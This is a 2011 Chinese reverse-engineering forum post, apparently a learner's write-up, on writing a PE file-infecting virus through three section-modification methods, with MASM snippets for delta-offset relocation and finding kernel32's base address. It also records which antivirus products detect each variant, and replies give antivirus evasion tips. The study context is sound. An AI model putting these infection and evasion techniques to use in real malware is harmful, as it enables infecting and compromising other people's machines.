首页
社区
课程
招聘
[原创]PE文件病毒初探
发表于: 2011-7-17 11:19 11856

[原创]PE文件病毒初探

2011-7-17 11:19
11856

【文章标题】: PE文件病毒初探
【文章作者】: loongzyd
【下载地址】: 见附件
【使用工具】: RadAsm  Peid
【参考】:《加密与解密》第三版,《计算机病毒分析与防治简明教程》
PE格式大致温习一下之后开始按照教材上的进度进入PE文件病毒的学习,程序实现了"添加节方式修改PE","加长最后一节修改PE","插入节方式修改PE"三种方式。感染之后只是在程序运行正常功能之前谈出一个对话框,在没有经过处理的情况下,被感染的.exe文件都被360报毒,小红伞对第三种方式感染的.exe文件没有报毒。
我们先来看看程序感染之前的情况:                                                      第一种方式感染之后的情况:
           
第二种方式感染之后的情况:                                                               第三种方式感染之后的情况:
           
程序的流程                                                            
  
感染之后运行情况:


重定位:

Call @F
	@@:
	pop ebx
	sub ebx,offset @B
GetKernelBase proc _dwKernelRet:DWORD
	LOCAL @dwReturn:DWORD
	
	pushad
	mov @dwReturn,0
	
;******************************************************
;查找Kernel32.dll的基地址
;******************************************************
	mov edi,_dwKernelRet
	and edi,0ffff0000h
	.while TRUE
		.if word ptr [edi] == IMAGE_DOS_SIGNATURE
			mov esi,edi
			add esi,[esi+003ch]                       ;e_lfanew字段的偏移为3c
			.if word ptr [esi] == IMAGE_NT_SIGNATURE
				mov @dwReturn,edi
				.break
			.endif
		.endif
		_PageError:
		sub edi,01000h
		.break .if edi < 07000000h
	.endw
	popad
	mov eax,@dwReturn
	ret

_GetKernelBase endp

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 7
支持
分享
最新回复 (8)
雪    币: 11138
活跃值: (158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
谢谢分享,虽然这些都是老掉牙的东西了,不过动手实现一下,还是有很大收获的,学习中。
....
2011-7-17 11:34
0
雪    币: 204
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
学习了    3其Q
2011-7-17 12:31
0
雪    币: 217
活跃值: (92)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
原来三种方式都在里面了 向楼主学习 谢谢分享....
2011-7-17 12:53
0
雪    币: 76
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
谢谢分享。。。
2011-7-17 13:31
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
6
呵呵 确实是老掉牙的 让大家见笑了
2011-7-17 14:13
0
雪    币: 75
活跃值: (723)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
7
试试扩展节大小,比如扩展第一个text节的大小,然后把代码写进去,如果不是这样,被小红伞杀的很窘的说。毕竟第三种方式,利用的代码空间有限
2011-7-17 15:54
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
8
恩恩,自己对杀毒软件的情况不了解,免杀基本没有学习....  谢谢你建议,下来会增加整个功能的...
还有很多需要学习的,请多多指教。   
ps:其实感觉把节的大小增加比把代码加到节的空闲区间更危险吧。(没有任何依据,个人yy)
2011-7-17 16:02
0
雪    币:
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
请问编译链接的参数是什么,为什么自己再编译链接一遍不能通过呢
2018-6-25 00:36
0
游客
登录 | 注册 方可回帖
返回
//